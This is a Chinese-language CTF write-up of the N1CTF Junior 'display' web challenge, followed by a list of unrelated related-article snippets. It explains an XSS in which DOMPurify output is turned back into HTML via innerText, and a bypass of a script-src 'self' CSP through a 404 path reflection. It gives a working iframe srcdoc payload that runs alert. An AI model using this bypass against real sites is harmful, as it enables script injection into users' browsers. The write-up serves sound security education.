CTF-WEB: 利用iframe标签利用xss,waf过滤后再转换漏洞-- N1ctf Junior display
核心逻辑
// 获取 URL 查询参数的值
function getQueryParam(param) { // 使用 URLSearchParams 从 URL 查询字符串中提取参数 const urlParams = new URLSearchParams(window.location.search); // 返回查询参数的值 return urlParams.get(param);
} // 使用 DOMPurify 对内容进行清理(sanitize),防止 XSS 攻击
function sanitizeContent(text) { // 只允许 <h1>, <h2> 标签和纯文本 const config = { ALLOWED_TAGS: ['h1', 'h2'] // 配置允许的标签 }; // 返回清理后的内容,DOMPurify 会移除不允许的标签和潜在的危险内容 return DOMPurify.sanitize(text, config);
} // 当 DOM 完全加载后执行的代码
document.addEventListener("DOMContentLoaded", function() { // 获取页面中输入框、按钮和内容显示区域的 DOM 元素 const textInput = document.getElementById('text-input'); const insertButton = document.getElementById('insert-btn'); const contentDisplay = document.getElementById('content-display'); // 获取 URL 查询参数中的 'text' 参数 const queryText = getQueryParam('text'); // 如果查询参数 'text' 存在 if (queryText) { // 解码并清理传入的文本,atob 用于解码 base64,decodeURI 处理 URL 编码 const sanitizedText = sanitizeContent(atob(decodeURI(queryText))); // 如果清理后的文本不为空 if (sanitizedText.length > 0) { // 将清理后的文本设置为输入框的内容(innerHTML 用于处理 HTML 标签) textInput.innerHTML = sanitizedText; // 将清理后的文本设置为预览区的显示内容 contentDisplay.innerHTML = textInput.innerText; // 启用插入按钮 insertButton.disabled = false; } else { // 如果清理后的文本为空,显示警告信息 textInput.innerText = "Only allow h1, h2 tags and plain text"; } }
});
过滤后再转换,sanitizedText在经过.innerText时其中的HTML实体会被转换为字符串。
当访问不存在页面时会返回路径名,可以利用这一点来构造脚本执行
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Security-Policy: script-src 'self'; object-src 'none'; base-uri 'none';
Content-Type: text/plain; charset=utf-8
Content-Length: 17
ETag: W/"11-GF1FwKuoyTpdz1qrL+FpsG3KmnU"
Date: Fri, 14 Feb 2025 07:59:03 GMT
Connection: keep-alive
Keep-Alive: timeout=5/1 : invalid path
使用<iframe srcdoc=url>来在属性值中嵌入 HTML 内容,并在其中嵌套<script src=url>来绕过安全策略,使用**/ 与 // 闭合
<iframe srcdoc="<script src='**/alert(`xss`)//'></script>"></iframe>
- 注意字符串包裹方式依次为
"'` - 因为js支持使用反引号包裹字符串
参考
2025 N1CTF Junior Web 方向全解 | J1rrY’s Blog
相关文章:
CTF-WEB: 利用iframe标签利用xss,waf过滤后再转换漏洞-- N1ctf Junior display
核心逻辑 // 获取 URL 查询参数的值 function getQueryParam(param) { // 使用 URLSearchParams 从 URL 查询字符串中提取参数 const urlParams new URLSearchParams(window.location.search); // 返回查询参数的值 return urlParams.get(param); } // 使用 DOMPuri…...
K8s组件
一、Kubernetes 集群架构组件 K8S 是属于主从设备模型(Master-Slave 架构),即有 Master 节点负责集群的调度、管理和运维,Slave 节点是集群中的运算工作负载节点。 主节点一般被称为 Master 节点,master节点上有 apis…...
python面试题
以下是一些Python面试题: 一、基础语法 Python中的列表(list)和元组(tuple)有什么区别? 答案: 可变性:列表是可变的,可以修改列表中的元素、添加或删除元素;元组是不可变的,一旦创建就不能修改。语法:列表使用方括号[]定义,元组使用圆括号()定义(单个元素的元组…...
AOS安装及操作演示
文章目录 一、安装node1.1 在 macOS 上管理 Node版本1.1.1 安装 nvm1.1.2 验证 nvm 是否安装成功1.1.3 使用 nvm 安装/切换 Node.js 版本1.1.4 卸载 Node.js 版本 1.2 在 windows 上管理 Node版本1.2.1 安装 nvm-windows1.2.2 安装 Node.js 版本1.2.3 切换 Node.js 版本1.2.4 卸…...
蓝桥杯单片机组第十三届初赛试题-程序题(第2批)
题目到官网看即可,有点久了有些细节记不清了,可能以前发的帖子解释详细一点。 这是我单片机初学的时候写的,像代码结构什么的肯定有可以提升的地方,多多包涵,将就看一下。 i2c文件使用官方的,pcf8591函数…...
企业级高可用 Kubernetes 实践:基于青云 LB 搭建容灾与负载均衡集群全攻略
一、前言 在企业生产环境,k8s高可用是一个必不可少的特性,其中最通用的场景就是如何在 k8s 集群宕机一个节点的情况下保障服务依旧可用。部署高可用k8s集群对于企业级云平台来说是一个根本性的原则,容错、服务可用和数据安全是高可用基础设施的关键。本文是在青云上利用青云…...
Python Pandas(11):Pandas 数据可视化
数据可视化是数据分析中的重要环节,它帮助我们更好地理解和解释数据的模式、趋势和关系。通过图形、图表等形式,数据可视化将复杂的数字和统计信息转化为易于理解的图像,从而便于做出决策。Pandas 提供了与 Matplotlib 和 Seaborn 等可视化库…...
【练习】图论
F. Friendly Group 图中选择一个点-1 边两端点都选择1 边一个端点选择-1 添加链接描述 #include<iostream> using namespace std; #include<vector> #include<cstring> const int N300010; int n,m; vector<int> G[N]; int temp1,temp2; bool vis[N…...
【RAG落地利器】Weaviate、Milvus、Qdrant 和 Chroma 向量数据库对比
什么是向量数据库? 向量数据库是一种将数据存储为高维向量的数据库,高维向量是特征或属性的数学表示。每个向量都有一定数量的维度,根据数据的复杂性和粒度,可以从数十到数千不等。 向量通常是通过对原始数据(如文本、图像、音频、视频等)…...
今日AI和商界事件(2025-02-14)
今日AI大事件主要包括以下几个方面: 一、苹果新品预告 事件概述:苹果CEO蒂姆库克在社交媒体发布7秒视频,配文“准备好迎接家庭的新成员”,并宣布2月19日将有新品发布。知名科技记者马克古尔曼称,新款低端iPhone SE将…...
【大语言模型】最新ChatGPT、DeepSeek等大语言模型助力高效办公、论文与项目撰写、数据分析、机器学习与深度学习建模等科研应用
ChatGPT、DeepSeek等大语言模型助力科研应用 随着人工智能技术的快速发展,大语言模型如ChatGPT和DeepSeek在科研领域的应用正在为科研人员提供强大的支持。这些模型通过深度学习和大规模语料库训练,能够帮助科研人员高效地筛选文献、生成论文内容、进行数…...
spring6(完结)
像是八大模式这种,放在后面八股文中再重点了解,对于源码部分也是后面会一起手敲。 个人觉得spring的重点在于注解开发,省去了很多耦合的问题,像是各种事务的管理,和bean类的管理都可以给spring容器管理,注入…...
Kubernetes (k8s) 常用指令速查表
以下是一份 Kubernetes (k8s) 常用指令速查表,涵盖集群管理、资源操作、故障排查等场景,适合日常运维和开发使用: 1. 集群与节点管理 命令说明kubectl cluster-info查看集群基本信息kubectl get nodes查看所有节点状态kubectl describe node…...
DeepSeek教unity------MessagePack-05
动态反序列化 当调用 MessagePackSerializer.Deserialize<object> 或 MessagePackSerializer.Deserialize<dynamic> 时,二进制数据中存在的任何值都将被转换为基本值,即 bool、char、sbyte、byte、short、int、long、ushort、uint、ulong、…...
Kotlin 优雅的接口实现
1. 日常遇到的冗余的接口方法实现 日常开发中,经常会要实现接口,但是很多场景中,只需要用到其中一两个方法,例如 ActivityLifecycleCallbacks,它有很多个接口需要实现,但是很多时候我们只需要用到其中的一…...
新的面试题CSS
解释CSS Hack 一般来说是针对不同的浏览器写不同的CSS,就是 CSS Hack。 IE浏览器Hack一般又分为三种,条件Hack、属性级Hack、选择符Hack(详细参考CSS文档:css文档)。例如: // 1、条件Hack <!--[if IE]> <sty…...
DeepSeek R1打造本地化RAG知识库
本文将详细介绍如何使用Ollama、Deepseek R1大语音模型、Nomic-Embed-Text向量模型和AnythingLLM共同搭建一个本地的私有RAG知识库。 一. 准备工作 什么是RAG? RAG是一种结合了信息检索和大模型(LLM)的技术,在对抗大模型幻觉、…...
聚铭网络入围2025年度江苏省政府采购信息安全设备协议供货名单
近日,2025年度江苏省党政机关、事业单位及团体组织信息安全设备框架协议采购项目入围结果公布。聚铭网络凭借自身专业实力和技术优势脱颖而出,成功入围22个分包。 此次采购项目是江苏省政府采购领域级别最高、覆盖面最广的项目之一。从资格评选到后期材料…...
基于Flask的影视剧热度数据可视化分析系统的设计与实现
【FLask】基于Flask的影视剧热度数据可视化分析系统的设计与实现(完整系统源码开发笔记详细部署教程)✅ 目录 一、项目简介二、项目界面展示三、项目视频展示 一、项目简介 随着互联网技术的飞速发展,影视剧行业的数据量呈爆炸性增长&#x…...
【弹性计算】弹性计算的技术架构
弹性计算的技术架构 1.工作原理2.总体架构3.控制面4.数据面5.物理设施层 虽然弹性计算的产品种类越来越多,但不同产品的技术架构大同小异。下面以当前最主流的产品形态 —— 云服务器为例,探查其背后的技术秘密。 1.工作原理 云服务器通常以虚拟机的方…...
NotebookLM + Hugging Face协同作战:NLP任务交付周期压缩68%的实证方法论
更多请点击: https://intelliparadigm.com 第一章:NotebookLM Hugging Face协同作战:NLP任务交付周期压缩68%的实证方法论 NotebookLM(Google 推出的基于用户文档的AI助手)与 Hugging Face 生态系统深度集成后&#…...
3步快速安装:APK Installer让你在Windows电脑上直接运行Android应用
3步快速安装:APK Installer让你在Windows电脑上直接运行Android应用 【免费下载链接】APK-Installer An Android Application Installer for Windows 项目地址: https://gitcode.com/GitHub_Trending/ap/APK-Installer 在Windows电脑上直接安装和运行Android…...
ChromaControl:如何用智能技术终结RGB设备控制混乱局面
ChromaControl:如何用智能技术终结RGB设备控制混乱局面 【免费下载链接】ChromaControl 3rd party device lighting support for Razer Synapse. 项目地址: https://gitcode.com/gh_mirrors/ch/ChromaControl 想象一下这样的场景:你的桌面上摆放着…...
简单学习 --> WebSocket
websocketwebsocket 是应用层 协议, 基于传输层Tcp 协议 的协议 ;这个协议可以实现服务器主动给客户端推送信息功能(本身Tcp就可以做到,但是HTTP不行)websocket报文格式websocket 和服务器建立连接的过程首先 客户端 发送 HTTP请求 给服务器 , 请求里 包含了一些特殊header , (…...
Midjourney提示词工程终极护城河:基于CLIP文本嵌入空间的向量对齐技术(附Python可视化调试工具)
更多请点击: https://intelliparadigm.com 第一章:Midjourney提示词工程终极护城河:基于CLIP文本嵌入空间的向量对齐技术(附Python可视化调试工具) 在生成式AI实践中,提示词质量差异常导致图像语义漂移——…...
PasteMD:一键解决AI内容到Office文档的格式转换难题
1. 项目概述与痛点解析如果你经常需要写论文、做报告,或者整理从各种AI助手(比如ChatGPT、DeepSeek、Kimi)那里得到的答案,那你一定遇到过这个让人头疼的问题:辛辛苦苦从网页上复制下来的内容,一粘贴到Word…...
JY901陀螺仪数据解析实战:从原始字节到工程可用的姿态角(附完整代码)
JY901陀螺仪数据解析实战:从原始字节到工程可用的姿态角(附完整代码) 在嵌入式开发中,姿态感知是实现自动平衡、导航定位等功能的基石。JY901作为一款高性价比的9轴运动传感器,其输出的原始数据需要经过精确解析才能转…...
2026国产SCARA机器人品牌深度横评:高精度、零件分拣多维度对比
SCARA机器人作为工业自动化领域的重要装备,凭借其高速、高精度、易集成等优势,广泛应用于3C电子、医疗器械、新能源等精密装配场景。随着国产机器人品牌的崛起,市场竞争格局正在发生深刻变化。本文基于公开技术参数、市场应用数据及行业调研&…...
终极指南:如何使用Gulf of Mexico轻松实现TCP/UDP网络通信
终极指南:如何使用Gulf of Mexico轻松实现TCP/UDP网络通信 【免费下载链接】GulfOfMexico perfect programming language 项目地址: https://gitcode.com/GitHub_Trending/dr/GulfOfMexico Gulf of Mexico(原DreamBerd)是一种创新的编…...
Taotoken CLI工具一键配置团队开发环境实战指南
🚀 告别海外账号与网络限制!稳定直连全球优质大模型,限时半价接入中。 👉 点击领取海量免费额度 Taotoken CLI工具一键配置团队开发环境实战指南 1. 场景与需求 在团队协作开发中,统一管理大模型调用环境是一个常见且…...
